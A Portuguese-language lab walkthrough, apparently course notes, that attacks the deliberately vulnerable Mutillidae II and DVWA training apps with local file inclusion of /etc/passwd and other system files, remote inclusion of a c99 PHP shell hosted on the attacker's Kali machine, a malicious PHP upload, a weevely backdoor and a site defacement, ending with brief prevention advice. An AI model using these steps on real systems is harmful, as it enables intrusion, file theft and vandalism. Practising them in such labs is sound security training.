sgonçalves

LFI e RFI - OWASP Multilidae II

1. No endereço http://<IP-OWASP>/mutillidae/index.php?page=phpinfo.php retiramos o "include.php" e injetamos o código "../../../../etc/passwd", assim conseguiremos acesso ao arquivo /etc/passwd
2. Podemos acessar mais arquivos, vamos tentar acessar:
    a. /etc/hostname
    b. /etc/hosts
    c. /etc/resolv.conf
    d. /etc/ssh/sshd_config
    e. /var/log/apache2/access.log
    f. /var/log/apache2/error.log
    g. /etc/issue
3. Podemos também executar um site externo, dentro deste. Este é chamado de Remote File Inclusion. Para executar, sigamos os passos:
    a. Procure por c99 php shell no google, e faça download
    b. Copie o arquivo baixado no kali linux para a pasta /www/html/c99.txt
    c. Tendo copiado, inicie o apache com o comando:

```
sudo systemctl start apache
```

4. Feito isso, na URL atacada acesse a URL de destino inserindo o seguinte:

```
page=http://<IP-KALI-LINUX>/c99.txt
```

5. Podemos desta forma explorar diretamente os arquivos, fazer dowload dos dados e inserir mais arquivos no servidor de destino.
6. E se nós fizermos um upload real de um arquivo diretamente ao servidor? Vamos testar com a DVWA.
7. Acesse DVWA. Vá até File Upload. Faça o upload de uma imagem qualquer, para testar.
8. Verifique que conseguimos o caminho onde a imagem foi salva. Agora, salve o seguinte código em um arquivo chamado testando.php

```
<?php echo ("Curso de seguranca WEB - Inserindo arquivos"); ?>
```

9. Faça o upload do arquivo .php criado, e acesse-o como acessamos a imagem.

10. Se nós conseguimos inserir um arquivo .php, vamos inserir o arquivo shell.php que está nos recursos da aula.
11. Com o arquivo inserido, basta utilizar.
12. Vamos fazer agora um backdoor, utilizando esta vulnerabilidade. Para isso utilizaremos a ferramenta weevely. Para isso, digite o seguinte comando em seu kali linux:

```
weevely generate senhaSAW information.php
```

13. Feito isso, faça upload do arquivo gerado.
14. Para se conectar ao backdoor criado, insira o comando alterando para seu ambiente:

```
weevely "http://<IP-OWASP>/dvwa/hackable/uploads/information.php"
senhaSAW
```

15. Assim que rodar o comando você irá se conectar ao servidor da aplicação. Estando lá, podemos fazer diversas coisas, inclusive alterar a home do site DVWA. Vamos fazer isso? Insira um código HTML no arquivo index.html mostrando que você invadiu o site.

16. **Solução:** A RFI pode ser uma vulnerabilidade particularmente desagradável, especialmente quando um invasor pode obter um shell e executar comandos como demonstramos. Felizmente, impedir a RFI é mais fácil do que você pensa. O método mais eficaz de prevenção é evitar a inclusão de arquivos como entrada fornecida pelo usuário. Isso reduzirá drasticamente a superfície de ataque, tornando quase impossível para um oponente incluir arquivos maliciosos. Se isso não for possível, uma lista de permissões de arquivos que podem ser incluídos pode ser utilizada pelo aplicativo.